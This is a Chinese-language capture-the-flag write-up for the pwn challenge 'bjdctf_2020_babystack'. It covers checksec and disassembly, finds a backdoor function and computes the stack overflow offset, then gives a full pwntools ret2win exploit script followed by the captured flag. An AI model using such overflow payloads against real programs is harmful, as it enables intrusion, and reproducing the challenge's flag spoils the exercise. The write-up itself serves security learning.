bjdctf_2020_babystack

bjdctf_2020_babystack

逆向分析

image-20250806172432265

依旧下载附件,checksec一下。

image-20250806194738202

防御开启的很少就一个NX,看起来很简单再看看ida的逆向怎么说

image-20250806194949781

发现就是很简单的一个栈溢出找找backdoor。

image-20250806195149845

很明显的backdoor,找一下地址0x4006E6再分析一下溢出的offset是多少计算一下通过0x10+8位的RBP,所以应该是24位

简单写个payload

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p=process('./bjdctf_2020_babystack')
#gdb.attach(p, gdbscript='''
# b *0x4007c5
#''')
#p=remote('node5.buuoj.cn',26102)
offset=24
backdoor_addr=0x4006E6
ret_addr=0x0000000000400561
payload=b'a'*offset+p64(ret_addr)+p64(backdoor_addr)
p.recvuntil(b"Please input the length of your name:\n")
p.sendline(b'100')
p.recvuntil(b"[+]What's u name?\n")
p.sendline(payload)
p.interactive()

直接测试一下

image-20250808104122165

成功获取flag

flag:flag{e7704e86-d706-4bb9-8ebf-65e1f65b7a0b}